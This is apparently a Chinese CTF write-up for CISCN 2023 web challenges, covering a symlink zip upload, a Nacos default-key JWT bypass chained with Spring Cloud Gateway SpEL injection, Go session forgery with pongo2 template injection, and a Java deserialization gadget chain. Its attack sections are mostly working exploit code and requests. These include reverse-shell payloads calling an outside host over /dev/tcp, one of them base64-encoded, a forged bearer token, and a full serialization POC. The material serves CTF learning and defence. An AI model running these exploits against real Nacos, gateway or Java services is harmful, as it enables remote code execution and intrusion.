2023CISCN初赛

Unzip

题型:文件上传(软连接)

image-20240326122623734

点击上传,跳转到upload.php,高亮源码

image-20240326122625315

软连接

image-20240326123325173

依次上传 1.zip、2.zip

image-20240326123701286

BackendService

题型:nacos身份认证漏洞+Nacos结合Spring Cloud Gateway RCE利用

nacos身份认证漏洞

这里用的 QVD-2023-6271 nacos token.secret.key身份认证绕过漏洞

影响版本:0.1.0<= Nacos<= 2.2.0

image-20240326213857112

默认密钥

1
SecretKey012345678901234567890123456789012345678901234567890123456789

exp为时间戳,大于当前时间即可

image-20240326214023826

发送到重放模块,添加Authorization: Bearer

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MjU1NjAyODgwMH0.qortgrr-UfhqQ-G9AWstQO-azRecm_b84uonXmYDMqo

image-20240326214430882

登入系统

image-20240326214455398

Nacos结合Spring Cloud Gateway RCE利用

该漏洞在网上公开POC的利用方式是通过/actuator/gateway/routes这个节点进行动态添加路由的,当项目配置文件中配置了以下两行配置时(YAML格式),便会开启该接口:

1
2
3
## application.yaml
management.endpoint.gateway.enabled: true # default value
management.endpoints.web.exposure.include: gateway

image-20240327132354140

题目中的backcfg服务节点(就是nacos服务本身,两者是同一个机器)加载配置文件的话就可以在控制台创建backcfg.json配置,之后backcfg服务节点就会自动导入配置。Nacos结合Spring Cloud Gateway RCE利用配置文件gateway,如果发现应用未开启Actuator,则结合前文所说的利用响应包增加Header的方式回显,将配置在Nacos中进行修改

image-20240327132550145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/6666 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

image-20240327135741495

image-20240326215608435

上面是yaml格式,不过很多博客讲要用json格式(json也可以)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "http://example.com/",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/6666 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}

go_session

题型:go的session伪造+pongo2模板注入

没有深入

代码审计

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) { // 判断是否携带了cookie,如果cookie中的name为空,就将其设置为guest
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, ")
}

func Admin(c *gin.Context) { // 获取session中的name的值,若不为admin则后续无法进行,因此需要过的第一关是对session进行伪造,后续是pongo2的ssti
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) { // 获取会话,然后判断name字段是否为空,不为空则获取url中name字段的值,并将其与本地地址拼接,发送一个GET请求
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

复现过程

伪造session

修改session.Values["name"] = "admin"

1
go run main.go

image-20240327192605632

image-20240327200832964

pongo2模板注入

/flask?name=/,引发报错拿到flask源码

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask,request
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
return name + 'no ssti'


if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)

这个程序设置了debug=True,说明程序开启了热加载功能,代码在更改后会自动重新加载程序,这意味着我们对代码进行更改后就会立即生效,debug模式下的热加载替换flask源码实现RCE,要用到SaveUploadedFile方法实现任意文件写{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}

但这里要注意参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于”file”,gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串。对于 “/app/server.py”,可以在请求头中将Referer字段设置成 “/app/server.py”,然后用 Request.Referer()方法获取Referer的值。(还有其他方法,如Request.Host()、Request.UA()等)

因为要从Referer头中获取源码路径,故添加Referer: /app/server.py,且上传文件提交表单需要Content-Type 请求,同时需要边界字符串分割(可自定义),故添加Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary8ALIn5Z2C3VlBqND

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: 859997a4-b46a-4a5c-b034-448e90505aa5.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
Cookie: session-name=MTcxMTUzODU2MXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyB-2MEmWBEhT2LmkrXFrKm9hHzDFKVLoIWHcrKauUlWQ==
Connection: close
Content-Length: 429

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

image-20240327194437758

Fianl,/flask?name=?name=env

deserbug

题型:Java反序列化 C

附件中可以看到两个依赖,分别是common-colletions-3.2.2hutool-all-5.8.18

CC3.2.2,比CC3.1.1多了一个checkUnsafeSerialization函数,对序列化的类进行了检查,禁止一些类的序列化:

1
2
3
4
5
6
7
8
WhileClosure
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory

源码,MyExpect类,Testapp类

MyExpect.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
private Class[] typeparam;
private Object[] typearg;
private Class targetclass;
public String name;
public String anyexcept;

public Class getTargetclass() {
return this.targetclass;
}
public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}
public Object[] getTypearg() {
return this.typearg;
}
public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}
public Class[] getTypeparam() {
return this.typeparam;
}
public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
}

Testapp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import cn.hutool.http.server.HttpServerRequest;
import cn.hutool.http.server.HttpServerResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888)
.addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null)
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
try { // base64解码转化为对象流后直接进行了readObject
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[] { String.class });
myexpect.setTypearg((Object[])new String[] { e.toString() });
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

getAnyexcept()方法中存在类实例化的条件,这与某条CC链中,要使用InstantiateTransformer#transform中的代码类似,再看Web页面接收bugstr参数,经过base64解码转化为对象流后直接进行了readObject进行反序列化,因此这里肯定是要通过CC链+getAnyexcept()来触发漏洞

image-20240402100901230

提示:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

通过hutools.put返回能够触发getAnyexcept,通过这里就可以串起CC链子,getAnyexcept实例化TrAXFilter,接而触发templates加载字节码触发RCE

LazyMap中,LazyMap#get是可以触发map.put 方法从而触发cn.hutool.json.JSONObject.put方法

1
HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor()->TemplatesImpl#newTransformer()->Runtime.exec()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.app;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.Base64;
import java.util.HashMap;
import java.lang.reflect.Field;

public class POC {
public static void main(String[] args) throws Exception {
byte[] bytes = getTemplates();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "2");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});

JSONObject jsonObject = new JSONObject();
ConstantTransformer transformer = new ConstantTransformer(1);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "2");
jsonObject.remove("111");
setFieldValue(transformer, "iConstant", myexpect);
byte[] serbyte =serialize(hashMap);

System.out.println(Base64.getEncoder().encodeToString(serbyte));
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Chiikawa");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMtaXAvNjY2NiAwPiYgMQ==}|{base64,-d}|{bash,-i})\")";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}

URL编码下

image-20240328093825290

image-20240328093707725

⬆︎TOP